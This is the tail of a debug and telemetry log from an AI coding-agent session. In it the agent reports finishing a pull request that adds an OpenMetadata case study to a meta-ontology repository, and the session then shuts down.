terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928718Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=82 total_duration_ms=82\n[2026-07-12T04:11:08.929Z] [INFO] \n[2026-07-12T04:11:09.019Z] [INFO] 2026-07-12T04:11:09.018936Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:11:09.019Z] [INFO] \n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026310Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:09.026Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026372Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:09.026Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:09.026Z] [INFO] 2026-07-12T04:11:09.026390Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:11:09.026Z] [INFO] \n[2026-07-12T04:11:10.924Z] [INFO] 2026-07-12T04:11:10.920953Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5313dee81c8191a605e77946000884\"), role: \"assistant\", content: [], phase: Some(FinalAnswer), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:10.924Z] [INFO] \n[2026-07-12T04:11:13.054Z] [INFO] 2026-07-12T04:11:13.053828Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:11:13.054Z] [INFO] 2026-07-12T04:11:13.053899Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:11:13.054Z] [INFO] \n[2026-07-12T04:11:13.057Z] [INFO] 2026-07-12T04:11:13.054630Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=0\n[2026-07-12T04:11:13.057Z] [INFO] \n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.060975Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.061011Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:11:13.062Z] [INFO] 2026-07-12T04:11:13.061184Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:13.062Z] [INFO] \n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104771Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104941Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104969Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:11:13.105Z] [INFO] 2026-07-12T04:11:13.104977Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59948\n[2026-07-12T04:11:13.105Z] [INFO] \n[2026-07-12T04:11:13.741Z] [INFO] 2026-07-12T04:11:13.741037Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5313dee81c8191a605e77946000884\"), role: \"assistant\", content: [OutputText { text: \"Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\" }], phase: Some(FinalAnswer), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:13.741Z] [INFO] \n[2026-07-12T04:11:13.743Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_60\",\"type\":\"agent_message\",\"text\":\"Implemented and finalized [PR #6](https://github.com/link-foundation/meta-ontology/pull/6).\\n\\nKey outcomes:\\n\\n- Added the complete OpenMetadata case study, source inventory, requirement mapping, raw observations, component analysis, and phased implementation roadmap.\\n- Added a patch changelog fragment and removed the placeholder file.\\n- Committed and pushed as `4dcfb8e`.\\n- Updated the PR title and description and marked it ready for review.\\n- Working tree is clean and synchronized with `origin/main`.\\n- Fresh CI passed: formatting, Clippy, file-size checks, ontology coverage, package build, and tests on Linux, macOS, and Windows.\\n- PR is mergeable with `CLEAN` status.\"}}\n[2026-07-12T04:11:13.743Z] [INFO] \n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768089Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313dd18348191acc84b012696f4d0\"\n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768140Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98962 output_token_count=151 cached_token_count=98048 reasoning_token_count=0 tool_token_count=99113 ttft_ms=1895 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:13.768Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:13.768Z] [INFO] 2026-07-12T04:11:13.768159Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98962 output_token_count=151 cached_token_count=98048 reasoning_token_count=0 tool_token_count=99113 ttft_ms=1895 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:13.768Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:13.768Z] [INFO] \n[2026-07-12T04:11:13.817Z] [INFO] 2026-07-12T04:11:13.816608Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.e2e_duration_ms\" cardinality_limit=2000\n[2026-07-12T04:11:13.817Z] [INFO] \n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817475Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.network_proxy\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817587Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.tool.call\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817710Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium codex.turn.token_usage.input_tokens=2310184 codex.turn.token_usage.cached_input_tokens=2200832 codex.turn.token_usage.non_cached_input_tokens=109352 codex.turn.token_usage.output_tokens=16849 codex.turn.token_usage.reasoning_output_tokens=1322 codex.turn.token_usage.total_tokens=2327033}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.token_usage\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] 2026-07-12T04:11:13.817867Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium codex.turn.token_usage.input_tokens=2310184 codex.turn.token_usage.cached_input_tokens=2200832 codex.turn.token_usage.non_cached_input_tokens=109352 codex.turn.token_usage.output_tokens=16849 codex.turn.token_usage.reasoning_output_tokens=1322 codex.turn.token_usage.total_tokens=2327033}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.memory\" cardinality_limit=2000\n[2026-07-12T04:11:13.865Z] [INFO] \n[2026-07-12T04:11:13.995Z] [INFO] 2026-07-12T04:11:13.994913Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:13.995Z] [INFO] \n[2026-07-12T04:11:14.040Z] [INFO] 2026-07-12T04:11:14.039828Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:14.040Z] [INFO] \n[2026-07-12T04:11:14.062Z] [INFO] 2026-07-12T04:11:14.043409Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:14.062Z] [INFO] 2026-07-12T04:11:14.052460Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:14.062Z] [INFO] \n[2026-07-12T04:11:14.225Z] [INFO] 2026-07-12T04:11:14.217813Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/read\" rpc.system=\"jsonrpc\" rpc.method=\"thread/read\" rpc.transport=\"in-process\" rpc.request_id=3 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_rollout::recorder: Resumed rollout with 182 items, thread ID: Some(ThreadId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }), parse errors: 0\n[2026-07-12T04:11:14.225Z] [INFO] \n[2026-07-12T04:11:14.229Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":true},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":true}]}}\n[2026-07-12T04:11:14.229Z] [INFO] {\"type\":\"turn.completed\",\"usage\":{\"input_tokens\":2310184,\"cached_input_tokens\":2200832,\"output_tokens\":16849,\"reasoning_output_tokens\":1322}}\n[2026-07-12T04:11:14.229Z] [INFO] \n[2026-07-12T04:11:14.249Z] [INFO] 2026-07-12T04:11:14.228280Z DEBUG codex_app_server::thread_state: clearing thread listener during app-server shutdown thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77 listener_generation=1 had_listener=true had_active_turn=false\n[2026-07-12T04:11:14.249Z] [INFO] 2026-07-12T04:11:14.228514Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 1, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.249Z] [INFO] \n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231308Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 2, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231531Z  WARN codex_file_watcher: failed to unwatch /home/box/.codex/skills/.system: No watch was found. about [\"/home/box/.codex/skills/.system\"]\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231574Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 3, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231581Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 24, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231586Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 19, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231593Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 9, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231599Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 12, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231605Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 26, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231612Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 16, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231617Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 22, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231622Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 17, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231628Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 23, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231633Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 11, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231647Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 8, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231658Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 6, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231663Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 15, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231669Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 27, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231674Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 13, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231679Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 4, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231686Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 10, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231698Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 5, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231704Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 18, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231709Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 21, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231715Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 28, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231720Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 7, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231725Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 14, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231730Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 25, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.231751Z DEBUG notify::inotify: inotify event with unknown descriptor: Event { wd: WatchDescriptor { id: 20, fd: (Weak) }, mask: EventMask(IGNORED), cookie: 0, name: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.232490Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f5485-abb7-7720-a917-e1e1dc1b3621\", op: Shutdown, client_user_message_id: None, trace: None }\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233292Z DEBUG rmcp::service: RunningService dropped without explicit close(). The connection will be closed asynchronously. For guaranteed cleanup, call close() or cancel() before dropping.\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233606Z DEBUG rmcp::service: RunningService dropped without explicit close(). The connection will be closed asynchronously. For guaranteed cleanup, call close() or cancel() before dropping.\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233680Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: task cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233759Z DEBUG rmcp::transport::streamable_http_client: cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233811Z DEBUG rmcp::transport::worker: worker quit with reason: Cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233840Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: task cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.233923Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: serve finished quit_reason=Cancelled\n[2026-07-12T04:11:14.251Z] [INFO] 2026-07-12T04:11:14.234506Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.shutdown\" submission.id=\"019f5485-abb7-7720-a917-e1e1dc1b3621\" codex.op=\"shutdown\"}: codex_core::session::handlers: 